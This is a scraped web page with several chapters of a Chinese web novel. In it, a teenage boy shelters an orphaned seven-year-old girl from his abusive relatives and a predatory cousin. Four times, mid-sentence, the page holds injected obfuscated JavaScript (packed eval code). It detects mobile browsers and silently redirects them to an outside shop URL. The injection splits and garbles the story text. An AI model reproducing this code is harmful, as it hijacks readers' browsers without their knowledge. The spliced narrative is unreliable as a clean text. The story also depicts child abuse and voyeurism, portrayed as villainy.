听着对面强烈又克制的哽咽,顾北不禁沉默。 原来她们之间的过节,隔着一个人的生死。 现在郑倩离开人世了,她俩之间的裂缝注定永远也跨不过去了。 等对面的女人冷静下来后,顾北拄拐走到门口,哑着声开口:“可荆梨是无辜的。” 刘春迎不吭声。 顾北又说:“郑倩手机里就存了你这一个亲人,我实在没办法了,如果你不管她,我只能把她送福利院了。” 刘春迎冷冷道:“那你送福利院吧。” 话落,女人毫不犹豫地挂断电话。 嘟嘟的电子音像宣判死刑的重锤,顾北手臂垂落,倚靠着墙根,疲惫地闭上了眼,缓了几秒,他又扭头看向乖巧到令人心疼的小姑娘。 脑子里突然蹦出两只小人在打架。 一个告诉他,你已经做到仁至义尽了,别再多管闲事给自己惹麻烦,把她交给警察,回梧城继续过操蛋的生活,等考上大学就逃离大伯一家。 另一个告诉他,你不能把她就这么丢在这里,她才7岁,瘦瘦小小,脑袋也不机灵,在福利院会被大孩子欺负留下心理阴影,长大后万一成绩不好,早早步入社会,经不住诱惑走上歧途,最后一辈子受苦,那你就是造成她悲惨人生的罪人…… 想到这些,浑身上下酸痛的感觉又加剧了几分,脑袋昏沉不已。 他又开始烧了。 顾北干脆放弃思考,坐回女孩身旁,伸手拿过她手里的矿泉水,扣了两颗感冒药扔进嘴里,拧开瓶盖喝水送服下去。 荆梨这才敢抬眼瞧他,触及他斜睨的目光时又被烫到似的飞速挪开。 女孩的眼神怯怯的,让人心口莫名一窒。 顾北皱起眉,眸光一暗,觉得自己现在这幅想要快点把她甩开的样子好讨厌。 空气陷入诡异的凝滞。 短暂的沉默后,荆梨低软的声音响起:“舅妈是不是因为我不乖,所以不想要我?” 顾北喉咙发涩,有些说不出话来,良久,他温声道:“她只是因为暂时没办法照顾一个孩子,不是因为你不乖。”他顿了顿,觉得这样的荆梨有点可怜,不由伸手揉了揉她的脑袋,“你很好。” “那哥哥你为什么也不想要我?” 荆梨抓着衣角,乌黑眼眸像一面沁着水光的镜子,将少年照得一览无遗。 “你不是说了带我逃跑的么。” 为什么半路就把她撇下了。 顾北闻言神色一怔,无言地盯着她。 七岁的孩子还不能理解为什么大人会突然出尔反尔。 在他们的世界里,答应了就要做到。 顾北有些狼狈地别开眼,喉结滞涩滑动,开不了口跟她分析什么现实道理。 他知道自己不管说什么荆梨都会信的,哄一哄,骗一骗,给予些虚无缥缈的承诺,她就会乖乖地跟警察离开,自己就可以毫无负担地回到原来的轨道。 可正因为这样,他更加开不了口了。 他最讨厌骗小孩的人。 顾北长长地叹了口气。 十七岁的小屁孩,叹起气来老气横秋。 “哥哥逃不动了。”半晌,顾北嗓音低喃地自嘲道,“你要是跟着我,我们两个都活不下去。” 荆梨急切道:“妈妈说我很好养活,我吃的很少!” 顾北眼神无奈:“我吃的也很少,但我们两个一起吃的话,就会饿死。” 想也不用想,顾卫朝和潘文丽绝对不会答应他领一个来路不明的小女孩回去的。 如果他非带荆梨回梧城,那就只有一个结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520020|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果——两人一起被扫地出门。 荆梨搞不懂为什么两个人一起吃饭就会饿死,她吓得开始掉眼泪,抱着顾北的背包哭得肩膀一抽一抽:“哥哥,我不想饿死,我最怕饿了……” 明明气氛应该压抑的,被荆梨这么一哭,顾北反倒眼角一弯笑出了声,他伸手抹掉女孩脸上的泪和淌下的鼻涕,声音放柔:“不会饿死的,哥哥吓唬你呢。” 荆梨渐渐止住哭,但还瘪着嘴泪眼汪汪地望着他。 顾北轻叹,手指捏了捏她肉感十足的耳垂,心里慢慢腾起一个念头。 要不先带她回梧城吧。 大不了被顾卫朝他们一家三口再打一顿。 反正这么多年下来,他已经习惯了不是么。 他那间小储物室还能放下一张小床,他的零用钱可以分一半出来给荆梨用,而且他现在不用去队里训练了,那吃的也就少了。 等他腿恢复了之后也可以出去兼职赚钱……总之不管怎样都能活,也就活的差点罢了,反正他的人生也没好过,从烂泥到荆棘的区别罢了。 “荆梨。”顾北漆黑的眼眸逐渐坚定,“哥哥带你回家。” “回哪个家呀?”荆梨鼻音浓重。 顾北扬唇一笑:“哥哥的家。” 不是顾卫朝那个充满压迫的房子,而是由他顾北一个人,支撑起的“家”。 荆梨愣了愣,紧接着似乎意识到了什么,黝黑的大眼睛漾起光亮,唇角扯出大大的微笑,两只梨涡清甜可爱。 “好!” - 下定决心后,顾北买了两张回梧城的车票。 他让荆梨坐在靠窗的位置,自己守在靠走道这边。 女孩一件行李也没有,郑倩那台手机是她唯一的财产,她说里面存着妈妈的照片,她想妈妈的时候就翻出来看看。 闻言,顾北好奇地点开相册,看见里头满满当当几百张照片,几乎都是郑倩的自拍和他拍,以及荆梨更小时候的照片。 女人果然和顾北记忆中的一样美,只是最新的几张中,那头及腰长发因化疗而脱落,漂亮的眼睛也逐渐失去光彩。 翻到拍摄时间更早的照片,顾北瞧见了荆勇的身影。 少年眸光微闪,想起五年前,爸爸在病房里对前来调查爆炸事故的工作人员说的话。 “当时爆炸源就在我身后不远处,是我们厂的保安队长荆勇反应迅速地推了我一把,我才没死在哪儿,留一口气爬出来。”爸爸哭道。 “那荆勇呢?”调查人员问。 爸爸惭愧地闭上眼,语气悲切:“他推开我之后爆炸就发生了,他来不及逃跑,整个人都被大火吞噬了……” 这就是为什么爸爸临终前不停嘱咐他要好好照顾荆梨的原因。 顾北深深地望着靠在他臂膀,陷入沉睡的女孩。 荆勇叔是爸爸的救命恩人。 思绪纷乱间,郑倩的手机震动了一下。 他敛下长睫,点开新收到的短信。 来信人是那个嫂子。 【我这几天不在梧城,你先帮我照看几天荆梨,等我回家之后就联系你。】 看完内容后顾北愣了一瞬。 这是……答应把荆梨接到她那边照顾的意思么。 意识到这一点,顾北心脏猛地一松,卧蚕轻鼓,脸上露出这两天以来最真心的笑容。 12.愤怒 Chapter 12 三个小时后大巴抵达梧城南站,顾北领着荆梨坐进地铁。 车厢里人不少,许是瞧着顾北腿上打石膏,还领着个邋里邋遢的小女孩,模样太过凄惨,对面有个占到座位的女大学生主动站起身,示意让给他坐。 顾北下意识想拒绝,可正发着低烧的身体不允许他再继续逞强了,他轻声道谢,拐杖一撑,挪到空位前坐下。 荆梨第一次乘坐地铁,她睁大眼睛好奇地打量自己身处的这个凉快又明亮的方盒子,片刻后头顶响起好听却机械的电子女声,她抬起头仔细聆听,不一会方盒子突然停下,她的身体由于惯性朝前扑去,即将摔倒的刹那有只胳膊从后面抱住了她的腰。 脚下一阵腾空,等荆梨反应过来她已经坐在了顾北没受伤的那条腿上。 屁股下的腿骨硬硬的,坐着很不舒服,她委委屈屈地扭过头,对上顾北面无表情的脸。 他睨着她,无声叮嘱:别乱动。 少年年纪不大,但冷着脸不笑的时候特别有威慑力,他的眼尾狭长上挑,内眼角锋利低敛,睫毛长而直,明明生了双多情的凤眼,垂眸看人时却有种睥睨万物的冷漠,仿佛什么都入不了他的眼。 荆梨那颗因失重而狂跳不止的心脏被顾北这淡淡的一瞥给镇住了,她不自觉挺直脊背,老实的被他圈在怀里,不敢再动。 可刚刚扭头时她的耳轮似有若无地擦过顾北立体挺翘的鼻尖,痒痒的,于是安静不到两秒,她还是没忍住抬起小手抓了抓耳朵。 顾北看着她孩子气的小举动,微不可察地弯了弯唇角。 - 一个多小时后,一大一小的两人站在了顾卫朝家楼下。 此时已是傍晚,饭菜香从居民楼里飘出来,饿一天的荆梨肚子咕咕直叫,她欲言又止地抬头看向顾北,不明白哥哥为什么迟迟不上楼。 不是要回家吗? 顾北眸光沉沉地盯着三楼的窗户,手心慢慢渗出冷汗。 他真把人带回来了。 意识到这点,他心里后知后觉地生出退缩的念头。 呆站了不知多久,最后是荆梨扯了下他的手,顾北才恍惚回过神。 “哥哥,我肚子饿了。”荆梨仰着脸,瓮声瓮气道。 顾北静静地凝视她几秒,心绪几番挣扎,最终那该死的心软占据上风,他叹了口气,嘱咐荆梨跟上他,脚步沉重地走进楼道。 钥匙插入锁孔,往左别了一下门就开了,霎时,电视里明星的笑声一股脑涌出来,伴随顾军嘶哑难听的笑骂。 听到男人的声音顾北眉心一跳,脸色又难看了几分。 在他消失的这两天,顾卫朝和潘文丽一个电话也没打过,倒是顾军给他发过短信,内容则是让他赶紧滚回家,帮他跑腿买东西。 这一家人,完全不在意他的去向和死活。 顾北吞咽了一口,眼神晦暗无波,深处却压抑着浓烈的厌恶与不耐。 他攥紧荆梨的手腕走进屋内,力气大到在她细嫩的皮肉上留下指痕。 正在厨房煮粥的潘文丽听到开门声还以为是顾卫朝下班回家了,没成想看到的却是离家出走了两天的顾北,还有他身边来路不明的野孩子。 她顿时脑袋一炸,叉腰瞪着三角眼冲顾北嚷道:“你个白眼狼还知道回家!”又伸手指着荆梨,“还有她!你从哪儿拐来这么一个脏兮兮的毛丫头?谁允许你带回来的!” 女人的神态和语气太过刻薄恐怖,小孩子天生敏感,能感受到对方的不善,荆梨立刻躲到顾北身后,小手抓紧他的裤管,不敢吱声。 卧在沙发上的顾军听到动静也凑了过来,幸灾乐祸的目光将二人打量个遍,随后落到藏在顾北身后露出半张脸的荆梨身上。 他挑了挑眉,眸中闪过意味不明的幽光。 真到了这一刻顾北反倒不慌了,他直视潘文丽,眼神沉冷,语气不卑不亢:“她是我爸朋友的女儿,她家里人有事出差了,让我帮忙照看她几天。” “你放心,她只是借住,等她家长回来,我第一时间把人送走。” 潘文丽闻言忽然笑了下:“你爸的朋友?你爸都死多少年了,还有哪门子朋友?” 话音落地,空气陷入死寂。 顾北垂在裤缝边的手兀地握紧成拳,眼神也一瞬变得阴冷,一眨不眨地盯着女人。 少年吃人一样的目光令潘文丽心头一跳,她丝毫没觉得自己说的话有多难听,只觉得自己身为供他吃供他穿的长辈的权威受到了蔑视,不禁怒意上头,一巴掌扇在顾北的脸上。 “小畜生你什么眼神,敢这么看着我!”潘文丽目眦欲裂,指着他的鼻头骂道,唾沫星子乱飞,“我难道说错了吗,你爸那个短命鬼都死五年了,怎么突然就冒出个劳什子朋友来了,还让你一个学生帮他照顾孩子,我看是不想养了,甩给你的吧!” “你!” 短命鬼三个字触到了少年的逆鳞,他一下眼眶猩红,整个人像头被惹怒的狮子,全身绷紧,挥起拳头身体前倾,眼看就要揍上去,腰却被一双胳膊轻轻环住,他的拳头就这么滞在了半空。 是荆梨被他们的争吵吓到,害怕地抱紧了他。 就在他失神的这一秒,潘文丽猛地从少年竟然敢反抗动手的震惊中回过神来,她边尖叫辱骂,边推搡厮打:“好你个小白眼狼,长本事了是吧!竟然想打我!” 她的巴掌雨点一样落在顾北的脸上和身上,嗓音刺耳无比:“造孽啊!当年我就说不能把你带回来,那死老头非不听,说舍不得他弟唯一的儿子在外边受苦。” “这么多年我好吃好喝地养着你,还供你上学,你他妈就这么报答我的是吧!” “白眼狼!小畜生!没良心的!” “我看你就是个命硬的煞神!你爸你妈都是被你给克死的!” 女人恶毒至极的咒骂如同一把没开刃的钝刀,一下接一下地磋磨着顾北的心脏,不见血,但足够令他疼到浑身发冷。 即便早已看清他们的真实面目,但真当他直视他们虚伪肮脏的那一面时。 恶心与厌烦战胜了愤怒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539090|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪神奇地冷静了下来,顾北紧握的拳慢慢松开,他不再反抗,疲惫地闭上眼,掩盖眸中翻涌的恨意,俯身将吓哭的荆梨护在怀里,坚硬瘦削的后背承受潘文丽的厮打,不让她伤到女孩半分。 以他现在的处境,挥下那一拳的后果他承担不起,荆梨不能真的跟着他露宿街头。 良久,潘文丽打累了,没力气了,她坐到桌前,嘴上还在不依不饶,魔怔了一样,仿佛一个疯婆子。 “我把话放这了,如果你今天非要让她在我家住,那你就收拾收拾,和她一起滚!” 话落,看了半天热闹的顾军却突然假心假意地上前劝他妈消消气,甚至破天荒的为顾北说话:“妈,大晚上的你不让他们留下他们还能去哪儿啊。” 潘文丽眼神诧异,像看怪人一样:“你说什么?” 半天没动的顾北也侧眸扫了他一眼。 搞不懂对方葫芦里在买什么药。 顾军仿若不察,脸上的横肉堆起笑,看着有点猥琐:“顾北不是说了么,就借住两天,等这小女孩家长回来就送走了。” 他边说着,黏腻的目光边在荆梨细嫩白皙的小腿上停留,接着不动声色地移开。 “小军,你怎么了?怎么替他说话了?” 潘文丽感觉自己被背叛了,一直和她统一战线欺负顾北的儿子怎么突然不向着她了。 “妈!”顾军没断的左手捏了捏女人的肩头,“我是为你着想啊,楼上那个陈阿婆成天跟人嘀咕你容不下一个孩子,还造谣你虐待他。你今晚再把人赶出家门,老婆子明天还不知道要怎么编排你呢。” “老不死的!” 提起这事潘文丽就气不打一处来。 顾卫朝之所以总叫她小点声就是因为那个陈阿婆,臭嘴跟黏在她身上一样,每天搬张小马扎坐在巷口,和周围的小老太太胡说八道。 气归气,但顾军的话提醒了她,潘文丽想了想,涂着红指甲油的手指在木质桌面上敲出恼人的节奏。 屋里安静下来,只听见电视的响声和荆梨细弱的抽噎。 “行吧。”潘文丽总算松口,她看向抱在一块的二人,大发慈悲道,“她可以留下来,但住你屋里,除了吃喝拉撒之外其余时间不准出房间,家里的任何一样东西不见了或者坏了,我就找你。” 顾北冷嗤一声,没搭理她,牵着荆梨一瘸一拐地走进他住的杂物间,将门反锁。 留在客厅的母子俩对视一眼,顾军无所谓地耸耸肩,躺回沙发继续吃零食看综艺,潘文丽猛灌一大杯凉水才稍稍降下火气。 不一会儿顾卫朝回到家,潘文丽告状一般把顾北要打她的事添油加醋地说了一通,顾卫朝听完狠狠踹了几下杂物间的门,骂两句“没良心的讨债鬼”,帮老婆“做主”。 杂物间内,荆梨裹着顾北的被子在床上缩成小小一团,她小脸煞白,湿润的眼睫还在微微颤抖。 显然今天这一出把她吓狠了。 顾北则坐在地上,后背抵着房门,黑眸在昏暗的映衬下显得格外幽深。 13.长大 Chapter 13 吃完晚饭,潘文丽便出门跳广场舞了,顾卫朝去公园溜达,顾军照例回卧室打游戏,窸窸窣窣的响动过后,房子终于安静下来。 一家三口谁都没想起叫他们出来吃饭。 经过傍晚的那一闹,荆梨似乎也明白了什么,她将自己蜷缩成团,乖乖的,不吵不闹,饿得胃疼也不吭声,黝黑的大眼睛静静望着顾北。 她知道哥哥现在比她饿肚子更难受。 顾北枯坐了许久,仿佛了无人气的雕塑,察觉到女孩的目光,他才恍如初醒般从地上站起来,打开门走出去。 餐桌上被收拾的干干净净,连碗咸菜都没留。 顾北淡漠地瞥了眼,径直走进厨房打开冰箱,从里面翻出冻了好几天的冷包子,放进微波炉加热。 等待时,他的耳朵隐隐约约捕捉到寂静房子里不合时宜的响动。 顾北不太确定,他皱起眉,沿着声音传来的方向轻轻踱步,直到在顾军房门口站定。 那声音顿时清晰无比。 是男人释放时压抑黏腻的闷喘,还夹杂着难以入耳的脏话。 意识到顾军在做什么,顾北霎时脸色一变,胃里顿时翻江倒海,他强忍着恶心,赶紧转身离开了那里。 顾军这人不光长相猥琐,他平时的行为也和他的长相一样猥琐。 他那台电脑除了用来打游戏之外,就是用于下载各种视频,连他的书架都摆满了颜色漫画,墙上贴着大尺度画报。 大家对于“肥宅”这个词的所有刻板印象都可以在顾军身上得到验证。 回厨房的时候包子也热好了,顾北端上盘子立刻回到杂物间将门反锁。 热腾腾的肉包子飘出诱人的香气,不一会儿,不大的小空间便被香味充盈。 荆梨用力嗅了嗅,大眼睛小灯泡一样,登时点亮。 顾北把盘子搁在书桌上,示意她过来吃。 荆梨光着脚丫小跑过来,乖乖端坐于桌前,视线直勾勾落在包子上,双手却交叠在一块,并不伸手去拿。 顾北不解地挑挑眉:“不是饿了,怎么不吃?” 荆梨吞了吞口水:“妈妈说要等长辈吃完第一口,小孩才能吃。” 顾北揉了把她乱糟糟的头发,轻笑:“吃吧,在我这不用守这些规矩。” 说完他走到床边坐下,腿岔开,弯腰从床底下拉出一个塑料箱子。 箱子里都是他从滨宁带来梧城的东西,有爸妈给他买的小玩具,也有他小时候的旧衣服。 荆梨等了一会儿,见顾北一直低头翻找,真的没有要吃包子的意思,她才慢吞吞地抓起一只,张嘴咬了一大口,眼睛月牙似的弯起。 顾北翻了半天总算在箱子最底下找到一件荆梨勉强能穿的短袖,宝蓝色,胸口印着奥特曼的图案,是他十岁时候买的。 他将衣服抖开,一股淡淡的腐旧气味顿时扑鼻而来,顾北鼻子微皱,凑近闻了闻。 没发霉,能将就着穿一穿。 “过来一下。” 荆梨已经吃完了两个包子,腮颊揣得鼓鼓的,闻声赤着脚跑到顾北面前,眨巴着大眼睛满眼单纯地看着他。 顾北抬眸扫了她一眼,一瞬间还以为仓鼠成精了,不禁抿了下唇,眼里划过稍纵即逝的浅淡笑意。 他两手拎着衣服在荆梨身上比了比。 看起来小小的一件短袖,往荆梨身上这么一比,被衬得像条裙子,衣摆直接盖住了她的屁股,领口也宽松,幅度大点就能走光的程度。 荆梨太瘦小了,跟同龄孩子相比她简直像从猴山上溜出来的小毛猴,本该婴儿肥的脸颊都不见几两肉,发尾毛躁枯黄,身上除了那双明亮的大眼睛之外,哪哪都叫嚣着四个字——营养不良。 顾北有些苦恼地挠了挠眼下的皮肉,心想反正过两天她就走了,不出房门随便穿穿也没什么事。 “哥哥,这是给我穿的吗?”在他思索怎么开口劝她换衣服的时候,荆梨主动打破沉默。 顾北瞅着手里这件对小女孩来说丑得惨绝人寰的奥特曼短袖,没点头,语气略带上点试探:“你看着……喜欢吗?” 荆梨毫不犹豫:“喜欢。” 大眼睛一眨不眨地与他对视,似是怕他觉得自己在说谎。 瞧她这幅郑重其事的样子,顾北无奈一笑,握住她的手腕:“那走吧。” 荆梨有点懵:“去哪里?” 顾北:“洗澡。” “哦。”荆梨点点头,但很快她猛地停下脚步,手腕往外别,企图挣脱顾北的控制。 顾北被她的动作弄得愣了下,他以为荆梨是不好意思了,便半蹲在她面前,想开口解释一下,他并不是要帮她洗澡,而是守在卫生间门口等她洗澡。 可当他的目光触及女孩的脸时,顾北呼吸一滞。 “怎么哭了?”他皱了皱眉,捧起女孩的脸,拇指拭去她不断下坠的眼泪,“不想洗澡?” 那也犯不着哭成这样啊。 荆梨咬着唇,摇了摇头:“不是。” 她死死攥着衣角,不知想起了什么,肩膀都吓得微微打颤。 女孩对洗澡产生的强烈反应让顾北眸光一凛,直觉告诉他之前肯定发生过什么不太好的事。 他按住荆梨的肩膀,嗓音低哑,但语气还算温和的:“那是因为什么?” 荆梨不知道该怎么说,嗫嚅了半天才咕咕哝哝道:“有一次在家里妈妈给我洗澡的时候,她在架子上摸到一个黑色的小盒子。”她用短小的手指比划了一下,“很小很小,上面有一只眼睛,发出红色的光。” 顾北面露疑惑,他根据荆梨的描述在脑海里构建出盒子的模样,还是没想出来那到底是个什么东西。 但很快,他就意识到了什么,呼吸猛然一沉,面色极为难看。 李东这个畜生! “妈妈发现盒子后特别生气,她跑出去跟叔叔吵架,外面一直在摔东西,然后妈妈就晕倒了。”荆梨说着说着又哭起来,“叔叔把她送到医院,他们都说妈妈快死了。” 想起妈妈临走前痛苦的模样,荆梨又被瞬间拉回离别的伤痛里,但她不敢放声大哭,这个房子里的其他人似乎都很讨厌哥哥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560239|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不能再给哥哥添麻烦了。 顾北沉沉地望着女孩憋到胀红的脸,胸腔深处一点一点荡起涟漪。 她还这么小,根本不明白那个“黑盒子”背后的肮脏,只知道妈妈因为帮她洗澡所以才会跟李东吵架,所以才会晕倒,所以才会……死掉。 果然脑袋不机灵,容易把什么错误都揽在自己身上。 怪让人心疼的。 顾北叹了口气,将人轻轻揽入怀中,微凉的手指捏了捏女孩的后颈,柔声道:“哭就大大方方的哭,憋着不难受么。” 少年温暖的拥抱让荆梨有些恍惚,她不自觉抬起小胳膊,抱住他的腰身,像抱住了一座巍峨的山脉,宽阔,辽远,她必须高高扬起头,下巴才能勉强够到他的肩膀。 莫名的,她止住了哭泣,眼睛湿漉漉地睁大,盯着黯淡的天花板,心里冒出一个念头。 是不是等她长大了,就能够到哥哥的肩膀了。 顾北以为自己的安慰起到了效果,他一点点将荆梨脸上半干的泪擦净,捧起她的小手,看着她,丹凤眼微微瞠大,卧蚕饱满,唇角上扬,像只漂亮矜贵的猫,笑着说:“既然不哭了,那我们去洗澡好不好,哥哥就在门口等你,你慢慢洗,什么都不要想,有哥哥在呢。” 少年音色独特,嗓音沉哑,放缓语气哄人的时候有种惑人的魔力,搭配他那优越的外貌,让人不自觉被他牵引神思,沉溺在他给予的温柔当中,什么都思考不下去了。 荆梨瘪着嘴,用力点点头。 二人来到卫生间,顾北领荆梨进去前偏头扫了眼顾军的卧室,门关着,只是门缝依然在透光,证明他还没睡。 顾北将热水调好,还拿了块崭新的毛巾,和短袖短裤一块搁在凳子上,然后低声嘱咐她:“洗完用毛巾把身上的水擦干净,衣服都穿好,然后轻轻敲两下门,哥哥就知道你洗好了。” “好。”荆梨点头,黑葡萄一般的眼睛里不知为何漾出微末的紧张。 或许是因为顾北有些警惕的状态影响到了她。 顾北出去后便将门锁上,自己则双手抱臂,后背倚着门边的墙,拐杖在一旁放着,修长精瘦的身影被昏昧的灯光投落在走廊地板上,仿若童话里守护公主的骑士,拐杖都成了佩剑。 他的视线一直紧紧盯着对面不远处的卧室。 可有时候就是怕什么来什么。 大约三分钟后,卧室的门被人从里面无声打开,光从敞开的门缝中竞相涌现,落到顾北的脚边,他眉心一跳,眼神顿时变得无比冰冷阴沉。 只见顾军做贼似的从屋里猫腰出来,两只眯缝眼四处乱瞟,在发现卫生间的灯亮着时,堆满横肉的脸上浮现一种隐秘的兴奋与期待。 他搓搓手,佝着背,轻手轻脚地朝卫生间走去,下一秒,被一道凉凉的声音叫住。 “堂哥,大晚上偷偷摸摸的干嘛呢?” 顾军愣在原地,这才发现右前方藏在阴暗处的顾北。 只见高瘦的少年懒散地挺起背,站直身体,手搭上拐杖,好整以暇地抬眉睨着他,唇角微勾,眸光却格外冷冽,不见半分笑意。 14.北极星 Chapter 14 顾北从阴影里走出来,眼尾微挑,表情似笑非笑,带着点欠揍的嘲讽。 顾军很快回过神,面色不善地瞪着顾北,眼神有种好事被打断的羞恼:“我在自己家干什么轮得着你管?” 男人着重强调这里是自己的家,顾北从始至终都只是借住的客人。 顾北没吭声,心内嗤笑,每次吵架都用这招,挺幼稚的。 似是想证明自己“问心无愧”,顾军并不打算回屋,而是径直走到卫生间门口,伸手就要去开门。 顾北却抢先一步挡在门前,高大的身体将门挡的死死的,顾军的肉手就这么打在了他身上。 顾北眉头微不可察地蹙了蹙,看了眼被他碰到的地方,低垂的眼里划过嫌恶。 顾军愣了愣,没想到这小子来这么一出,顿时火气上涌,冲他吼道:“你他妈有病啊!老子要上厕所,滚开!” 他比少年整整矮了一头,哪怕音调拔得再高,气势上也弱些。 顾北稍稍偏过脑袋,躲避对方嘴里难闻的怪味,面无表情地说:“里面有人了,你先等会儿。” 说罢,他轻蔑地瞥了眼男人的□□,深色的布料上有块明显的痕迹。 顾北淡淡翻了个白眼。 真肮脏,对小孩子也能起反应,像一头进化不完全的牲口。 “你算个屁,老子上自家厕所,凭什么叫我等。” 顾军哪会听他的,不耐烦地推了把他的胳膊,想把人挪开,可尴尬的是哪怕他用了全力,顾北都纹丝不动,鼓起肌肉的手臂像块坚硬的烙铁,反衬出他的体虚和不自量力。 他又去揪顾北的衣领,企图把他拽走,依旧失败,期间这小子一言不发地睨着他,眼里的嘲讽不加掩饰。 “臭小子你又皮痒了是不是!” 顾军彻底被惹怒,他一把将顾北的脖颈扯低,抬手就要给他一巴掌,可就在这时,顾北身后响起两道轻轻的叩门声。 顾军愣住,手顿在半空。 顾北一把擒住他的手腕,修长的手指稍一用力,顾军脸色骤变,哀叫着松开拽他衣领的手,身子也随着他使劲的方向扭动,嘴里骂道:“臭小子找死啊!快他妈放开我!” 见他这惨样,顾北勾勾唇,放开了他。 顾军站不稳,硕大的身体撞上墙壁,他握住手腕,愤恨地瞪向顾北,咬牙切齿道:“你死定了,敢对我动手。” 顾北无所谓地耸耸肩。 自从知晓那对夫妻在他身上打的如意算盘之后,他心里仅剩的对他们的那么点儿亲情以及期盼就全部烟消云散了。 而且他们对付自己的手段就那么几招,饿肚子,打一顿,一点心意也没有。 顾军的威胁还不如路边疯狗的叫嚣。 顾北一个眼神都不再递给对方,他转身拧开卫生间的门,宽阔的脊背将里头的场景挡个严实。 门一打开,蒸腾的热气夹杂着沐浴露的味道扑面袭来,顾北低头对上荆梨充满担忧的大眼睛。 她身上套着他那件旧衣服,领口歪歪扭扭,布料被身上的水沁出斑驳的湿痕,发丝也在不停滴水,一看就是匆匆洗完都没用毛巾好好擦干净。 不会是听到门口的动静才这么着急出来的吧。 顾北叹了口气,手臂越过她拿起凳子上的毛巾,接着半蹲下身,握住她的手搭上自己的脖子,在她耳边低声道:“搂紧我。” 荆梨盯着少年近在咫尺的侧脸,眼神呆怔,感觉有股热意从耳根往脸上蔓延,她听话地搂住他的脖颈,下一瞬,她被整个抱了起来,少年有力坚实的手臂将她牢牢托住。 荆梨思绪凝滞,脸埋在少年的颈窝,被他单手抱着走出卫生间,微凉的空气侵袭她的后背,但她并不觉得冷,因为此时此刻,十足的安全感将她紧紧包裹其中,这种安全感比妈妈给予的要陌生,她暂时说不清楚这两者的区别,只知道自己已经依赖上这种感觉了。 在荆梨胡思乱想的时候,她注意到了不远处顾军黏腻炙热的目光,她下意识觉得害怕,又将脸往顾北脖颈间缩了缩。 顾北一手拄着拐,一手抱着她的腿,慢慢朝房间走去,察觉到女孩的小动作,他压低嗓音沉沉道:“别看他。” 荆梨闻言立刻收回视线,抬头看他。 顾北垂眸扫她一眼,嘴角微弯:“看我可以。” 回到房间后,顾北把人放到床上,自己也跟着坐到一边:“闭眼。” 荆梨乖乖地闭上眼。 顾北展开毛巾搭在她的小脑袋上,动作轻柔地擦拭起来,从发尾到耳尖,再到脸上,他擦得认真又仔细,生怕她感冒了。 脏了两天的小花脸终于洗干净了,顾北这才好好看清楚眼前的女孩。 她五官精巧稚嫩,长长的睫毛像两把小刷子,眨起眼来扑闪扑闪的,非常可爱,眼睛大而圆,形状像杏核,眼仁很黑,眼尾微微上挑。 顾北兀地联想起自己以前喂过的一只流浪猫。 他笑了笑,对上荆梨不知何时睁开的眼睛。 顾北见她盯着自己发呆,不由迟疑地摸了摸脸,问她:“我脸上沾东西了?” 荆梨认真地点点头。 顾北赶忙用手背抹了一把,什么都没有。 他正疑惑着,却听见荆梨慢半拍道:“沾了点帅气。” “……” 时间停滞了半秒,顾北有些吃惊地瞪大了眼,以为自己听错了:“你说什么?” 他刚刚……好像……被一个小屁孩……给撩了…… 荆梨一本正经地解释:“妈妈说等我以后遇到帅哥了,就这么跟他聊天,她就有女婿了。” 顾北自从遭受“哥哥你不会没谈过恋爱吧”的暴击之后,他对这小孩脑回路的清奇程度有了一个大概的了解,但此时还是又被她的童言童语给震惊住了。 人在无语到极点的时候是会笑出声的。 顾北扶正她的小脑袋,笑道:“什么乱七八糟的,你妈妈一天到晚都在给你灌输些什么啊。” 荆梨瘪了瘪嘴:“她就是这么告诉我的呀。” 顾北无奈摇摇头,起身将湿掉的毛巾挂在椅把上:“你知道女婿是什么意思嘛你,以后出门不准再跟别人乱说,容易被人误会。” 他注意力都放在了“女婿”这个词上,完全没意识到荆梨其实是在夸他帅。 “误会什么?”荆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573298|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梨问。 